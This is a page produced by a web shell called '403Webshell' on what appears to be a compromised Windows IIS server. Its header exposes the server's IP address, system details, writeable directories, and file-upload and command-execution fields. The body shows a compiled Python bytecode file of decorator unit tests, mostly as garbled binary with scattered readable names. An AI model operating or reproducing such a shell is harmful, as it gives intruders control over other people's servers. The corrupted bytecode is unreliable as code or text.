403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_decorators.cpython-315.opt-1.pyc
R
>lqj",c���]PHsQsQQ\2sQQ\2sQQksQsQsQ	Q
\O2s
QQ\O2s\Q
6Xc\O2P!P!)�c�`�U1QkoU!)c�@:�UOOR2U!�N)�__dict__�update)�func�kwdss&��)C:\Python315\\Lib\test\test_decorators.py�decorate�funcattrs.<locals>.decorates����
�
���T�"����)rr
sl r	�	funcattrsrs�����Orc�2`�\sQs]
sn\Q2sQsUsP!)�MiscDecoratorsc�`�U1QkoU!)c�(:�RUOQ$U!)�author)r)r�names&�r	r
�'MiscDecorators.author.<locals>.decorate
s���&*�D�M�M�(�#��Krr
)rr
sf r	r�MiscDecorators.authors���	��rr
)�__name__�
__module__�__qualname__�__firstlineno__�staticmethodr�__static_attributes__�__classdictcell__��
__classdict__s@r	rr
s�������rrc�(`�\sQs]snQsQsUsP!)�DbcheckErrorc�V�[OUQU8QU8QU8QU8Q0	2P!)zdbcheck z failed (func=z args=z kwds=�))�	Exception�__init__)�self�exprstrr�argsrs&&&&&r	r%�DbcheckError.__init__s �����4�#�T�4��"7�	8rr
)rrrrr%rrrs@r	r!r!s����8�8rr!c�```�UUU1QkoU!)z+Decorator to implement debugging assertionsc�^:``�[RQRO*Q2nUUUUU1QkoU!)z
dbcheck-%s�evalc�X:�[RRR2%f[RRV2gRU-U@!r)r,r!)r(r�exprr'r�globals�localss*,�����r	�check�(dbcheck.<locals>.decorate.<locals>.checks1�����g�v�.�.�"�7�D�$�=�=���&��&�&r)�compiler)rr1r.r'r/r0sf @���r	r
�dbcheck.<locals>.decorates+����w��t�}�}� <�f�E��	'�	'��rr
)r'r/r0r
sfff r	�dbcheckr5s�����Orc�`�U1QkoU!)z&Decorator to count calls to a functionc�N:``�ROn]RR$UUU1QkoRUmU!)rc�B:�RR99*]*
tt$RU-U@!)�r
)r(r�countsr�	func_names*,���r	�call�*countcalls.<locals>.decorate.<locals>.call-s#����9���"����&��&�&r�r)rr<r;r:sf @�r	r
�countcalls.<locals>.decorate*s)����M�M�	���y��	'�"��
��rr
)r:r
sf r	�
countcallsr@(s�����Orc�@``�-nUU1QkoROUmU!)c�~:�RU*![cRSoSRS$St![cRSt!h9hr)�KeyError�	TypeError)r(�resr�saveds* ��r	r<�memoize.<locals>.call8sJ���	���;����	���+�C��E�$�K��J��	���;��	�s�
�	<�<�<�<�<r>)rr<rFsf @r	�memoizerH6s����E�	��M�M�D�M��Krc�v`�\sQs]GsnQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsUsP!)�TestDecoratorsc��QQ[2oUOUO2]*2UOU2O2]*2P!)c�2`�\sQs]Jsn\Q2sQsUsP!)�%TestDecorators.test_single.<locals>.Cc��]*!��*r
r
rr	�foo�)TestDecorators.test_single.<locals>.C.fooKs�� rr
)rrrrrrQrrrs@r	�CrMJs����
� �� rrS)�object�assertEqualrQ�r&rSs& r	�test_single�TestDecorators.test_singleIs>��	!��	!�	
�������"�%���������B�'rc	�>�QoUU2oUOUOU2UOUOU2QFD'oUO[VE2[V522J)	UO	[U2UO
U22U!)c��U!rr
��xs&r	r�0TestDecorators.check_wrapper_attrs.<locals>.funcQs���Hr)rrr�__doc__�__annotations__)�assertIs�__func__�__wrapped__�getattrrU�repr�format)r&�method_wrapper�
format_strr�wrapper�attrs&&&   r	�check_wrapper_attrs�"TestDecorators.check_wrapper_attrsPs���	� ��&���
�
�g�&�&��-��
�
�g�)�)�4�0�3�D��M�M�'�'�0�!�$�-�
/�3�
	
����g��
�(9�(9�$�(?�@��rc�d�UO[Q2oUOU]2]2P!)z<staticmethod({!r})>)rjrrU�r&rhs& r	�test_staticmethod� TestDecorators.test_staticmethod`s+���*�*�<�9O�P��	
������Q�'rc�b�UO[Q2oUO[U]2P!)z<classmethod({!r})>)rj�classmethod�assertRaisesrDrms& r	�test_classmethod�TestDecorators.test_classmethodfs'���*�*�;�8M�N�����)�W�a�0rc��[2oUOQ2Q2oUOU2]*2UOUOQ2P!)�Cleesec��]*!rOr
r
rr	rQ�'TestDecorators.test_dotted.<locals>.fooms��r)rrrU)r&�
decoratorsrQs&  r	�test_dotted�TestDecorators.test_dottedksI��#�%�
�	�	�	�8�	$��
%��������#�������X�.rc	��QoQ
o[]]Q5oUU-U@Q2oUOU2]*2UOUOV#12UQQQQQ5Q2oUOU2]T2UOUOQ[QQQ512U]]2Q	2oUOUOQ-12P!)
c�``�UU1QkoU!)c�(:�[UQRR12U!)�dbval)�setattr)rr(rs&��r	r
�@TestDecorators.test_argforms.<locals>.noteargs.<locals>.decoratews�����g��d�|�4��rr
)r(rr
sjl r	�noteargs�.TestDecorators.test_argforms.<locals>.noteargsvs���
��Or)�one�twoc��]*!rOr
r
rr	�f1�(TestDecorators.test_argforms.<locals>.f1~���r�terry�gilliam�idle�cleese)�eric�johnc��]T!)�Tr
r
rr	�f2�(TestDecorators.test_argforms.<locals>.f2�r�rc��P!rr
r
rr	�f3�(TestDecorators.test_argforms.<locals>.f3�s��r)�Now�is�the�time)r�r�)r9�)�dictrUr)r&r�r(rr�r�r�s&      r	�
test_argforms�TestDecorators.test_argformsrs���	�.����q�!��	�4�	 �4�	 ��
!�������r�"�������D�<�0�	�'�9�6��	A��
B�������r�"�������$8�%)�v�H�%E�$G�	H�
�!�Q���
��������F�B�<�0rc��[Q2Q2oUOU]]2]2UO[U]P2P!)zargs[1] is not Nonec��V*!rr
)�a�bs&&r	�f�&TestDecorators.test_dbcheck.<locals>.f�s	���5�Lr)r5rUrrr!)r&r�s& r	�test_dbcheck�TestDecorators.test_dbcheck�sD��	�&�	'�	�
(�	�����1�a��!�$����,��1�d�3rc��-o[[U2Q22oUOUOQ2UOU[	]Q52UOU]2]2UOUQ*]2UOU]2]2UOUQ*]2UOU]2]2UOUQ*]2UOU]
,2]
]
,2UOUQ*]2UOU]
,2]
]
,2UOUQ*]2P!)c��U]*!)r�r
r[s&r	�double�+TestDecorators.test_memoize.<locals>.double�s
���q�5�Lrr�)r�)rHr@rUrr�)r&r:r�s&  r	�test_memoize�TestDecorators.test_memoize�s+����	�	�F�	�	�
�
�	�������(�3������Q��0�	
������A�&������)�1�-�������A�&������)�1�-�������A�&������)�1�-�	
��������B�x�0������)�1�-���������B�x�0������)�1�-rc	�X�Q
FDGo[UQQ2UO[29^tt^2[QUQ0QQ2PPP2JI	QFDEo[UQQ2UO[29^tt^2[	QUQ02PPP2JG	Qo[PUQ5oQ[1Q	[1Q
[1Q[11FD2vq%QU*o[UQQ2oUOU[Vt2J4	P!)%fhCJ9h)%fhJ�9h)�x,�test�exec�@�
def f(): passr,c��[gr)�NotImplementedError)rs&r	�unimp�)TestDecorators.test_errors.<locals>.unimp�s��%�%r)�nullvalr��undefr�znullval.attrr�z$@%s
def f(): pass
assert f() is None)r�zx, yzx = y�passz
import sys)z1.+2jz
[1, 2][-1]z(1, 2)�Truez...�None)
r3rr�SyntaxErrorrDr�r��	NameError�AttributeErrorr�r,)r&�stmtr.r��context�exc�codestr�codes&       r	�test_errors�TestDecorators.test_errors�s��B�D��D�&�&�)��"�"�;�/�/��!�D�6��1�6�6�B�0�/�B�M�D��D�&�&�)��"�"�9�-�-��q���o�.�/�.�-�M�
	&��t�5�1��#�Y�/�%�y�1�*�N�;�#�%8�9�;�I�D�?��E�G��7�F�F�3�D����c�4��7�
;�0�/�/��.�-�-�s#�D	�D	�D
�D
�D)
�!D)
c�>�QFDo[QUQ0QQ2J	P!)�(x,)r�r�r�r�)r�z(x, y)zx := yz(x := y)zx @yz(x @ y)zx[0]zw[x].y.zzw + x - (y + z)z	x(y)()(z)z[w, x, y][z]zx.y)r3)r&r.s& r	�test_expressions�TestDecorators.test_expressions�s%��
�D�
�a��v�_�-�v�v�>�	
rc�T�QQ[2oUOU2O2]*2UOUOO]2UOUOOQ2UOUOO
]*2P!)c�Z`�\sQs]�sn\]QQ5\]*Q5Q22sQsUsP!)�%TestDecorators.test_double.<locals>.C�haha)�abc�xyz)�boohc��]*!rOr
)r&s&r	rQ�)TestDecorators.test_double.<locals>.C.foo�s��"$rr
)rrrrrrQrrrs@r	rSr��s'����
�1�&�
)�
�B�
�$� �*�$rrSr�)rTrUrQr�r�r�rVs& r	�test_double�TestDecorators.test_double�sp��	%��	%�	
��������B�'���������A�&���������F�+���������R�(rc�p�QoU]2U]2Q22oUOU2]Q2P!)c�`�U1QkoU!)zxDecorator factory that returns a decorator that replaces the
passed-in function with one that returns the value of 'num'c�:�U1Qk!)c�
:�R!rr
)�nums�r	�<lambda>�JTestDecorators.test_order.<locals>.callnum.<locals>.deco.<locals>.<lambda>�s���srr
)rr�s&�r	�deco�8TestDecorators.test_order.<locals>.callnum.<locals>.deco�s	���"�"rr
)r�r�sf r	�callnum�*TestDecorators.test_order.<locals>.callnum�s
���
#��Krc��]*!rOr
r
rr	rQ�&TestDecorators.test_order.<locals>.foo�s��rz,Application order of decorators is incorrect)rU)r&r�rQs&  r	�
test_order�TestDecorators.test_order�s?��	�
���	����
�
��������J�	Lrc�``	�,nU1Qkn	UU	1QkQ[2o[U,QN2vq#o,QNo,nUOUO2UOUO2UOUO2Q222oUO	U2]*2UO	RU2,nQoUOUO2UOUO2UOUO2U222oUO	U2]*2UO	RU2P!)c�J:`�ROQR*2UU1QkoU!)�makedecc�::�ROQR*2U!)�calldec��append)r�actions�tags&��r	r
�HTestDecorators.test_eval_order.<locals>.make_decorator.<locals>.decorate�s������y�3��/��rr�)r�r
r�sf �r	�make_decorator�6TestDecorators.test_eval_order.<locals>.make_decorator�s����N�N�9�s�?�+�
��Orc�8:`�\sQsQsnQsUU1QksQsUsP!)�8TestDecorators.test_eval_order.<locals>.NameLookupTracer�c��VmP!r��index)r&r�s&&r	r%�ATestDecorators.test_eval_order.<locals>.NameLookupTracer.__init__s��"�
rc�:�UQ6XcQRq2LUQ6XcQ[UO2q2ROQWUO1*2W!)r��evalname�arg�evalargsz%s%d)�strr�r�)r&�fname�opnamerEr�r�s&&  ��r	�__getattr__�DTestDecorators.test_eval_order.<locals>.NameLookupTracer.__getattr__sJ����,�,�#-�~�C��e�^�#-�s�4�:�:��C����v�����(<�<�=��
rr�)rrrrr%r�rr)rr�r�s@��r	�NameLookupTracerr�s����
#�
�
rrc��]*!rOr
r
rr	rQ�+TestDecorators.test_eval_order.<locals>.foos��rc��]*!rOr
r
rr	�bar�+TestDecorators.test_eval_order.<locals>.bar!s��"r)r9r��)�	evalname1�	evalargs1�makedec1�	evalname2�	evalargs2�makedec2�	evalname3�	evalargs3�makedec3�calldec3�calldec2�calldec1)rT�mapr�r�rU)
r&r�c1�c2�c3�expected_actionsrQrr�r�s
&       @@r	�test_eval_order�TestDecorators.test_eval_order�s%�����	�	�	��	��)�;�7�
���B��
��	�	�	�2�6�6�	"�	�	�	�2�6�6�	"�	�	�	�2�6�6�	"��
#�
#�
#�	�������#�����"2�3����������'��(9�(9�"�&�&�(A�"�BS�BS�TV�TZ�TZ�B[�\_�B`�(a�b��������#�����"2�3rc�x`�QQ2nU1QkQ2oUOUO2Q2P!)c�(`�\sQsQsnQsQsUsP!)�@TestDecorators.test_bound_function_inside_classmethod.<locals>.A�'c��Q!)�spamr
)r&�clss&&r	rQ�DTestDecorators.test_bound_function_inside_classmethod.<locals>.A.foo(s��rr
)rrrrrQrrrs@r	�Ar's����
�
rr"c�J:�\sQsQs\Y2O
2sQsP!)�@TestDecorators.test_bound_function_inside_classmethod.<locals>.B�+r
)rrrrrqrQrr)r"s�r	�Br$+s����a�c�g�g�&�Crr&r)rUr)r&r&r"s& @r	�&test_bound_function_inside_classmethod�5TestDecorators.test_bound_function_inside_classmethod&s/���	�	�	'�	'�	
�������&�)rr
)rrrrrWrjrnrsrzr�r�r�r�r�r�r�rr'rrrs@r	rJrJGsR����(�� (�1�
/�1�64�.�68�4?�)�
L�;4�z*�*rrJc�4`�\sQsQsnQsQsQsQsUsP!)�TestClassDecorators�1c�n�QoUQQ[22oUOUOQ2P!)c��QUmU!)�Hello��extrar[s&r	�plain�.TestClassDecorators.test_simple.<locals>.plain4����A�G��Hrc��\sQsQsQsP!)�*TestClassDecorators.test_simple.<locals>.C�7r
�rrrrrr
rr	rSr57s��rrSr.�rTrUr0)r&r1rSs&  r	�test_simple�TestClassDecorators.test_simple3s0��	�
����
��������'�*rc�~�QoQoUUQQ[222oUOUO]2P!)c��]
UmU!)�
r/r[s&r	�ten�,TestClassDecorators.test_double.<locals>.ten<s���A�G��Hrc�:�U9O]*
tmU!)�r/r[s&r	�add_five�1TestClassDecorators.test_double.<locals>.add_five?s��
�G�G�q�L�G��Hrc��\sQsQsQsP!)�*TestClassDecorators.test_double.<locals>.C�Cr
r7r
rr	rSrEC���rrSr8)r&r>rBrSs&   r	r��TestClassDecorators.test_double;s=��	�	�
�	����

�
��������"�%rc�~�QoQoUUQQ[222oUOUOQ2P!)c��QUmU!)�firstr/r[s&r	�
applied_first�5TestClassDecorators.test_order.<locals>.applied_firstIr3rc��QUmU!)�secondr/r[s&r	�applied_second�6TestClassDecorators.test_order.<locals>.applied_secondLs���A�G��Hrc��\sQsQsQsP!)�)TestClassDecorators.test_order.<locals>.C�Or
r7r
rr	rSrSOrGrrSrOr8)r&rLrPrSs&   r	r��TestClassDecorators.test_orderHs=��	�	�
�	����
�
��������(�+rr
)	rrrrr9r�r�rrrs@r	r*r*1s����+�&�
,�
,rr*�__main__)NN)�unittestrrTrr$r!r5r@rH�TestCaserJr*r�mainr
rr	�<module>rZst�����f��8�I�8�	�
�
�"g*�X�&�&�g*�T!,�(�+�+�!,�F�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit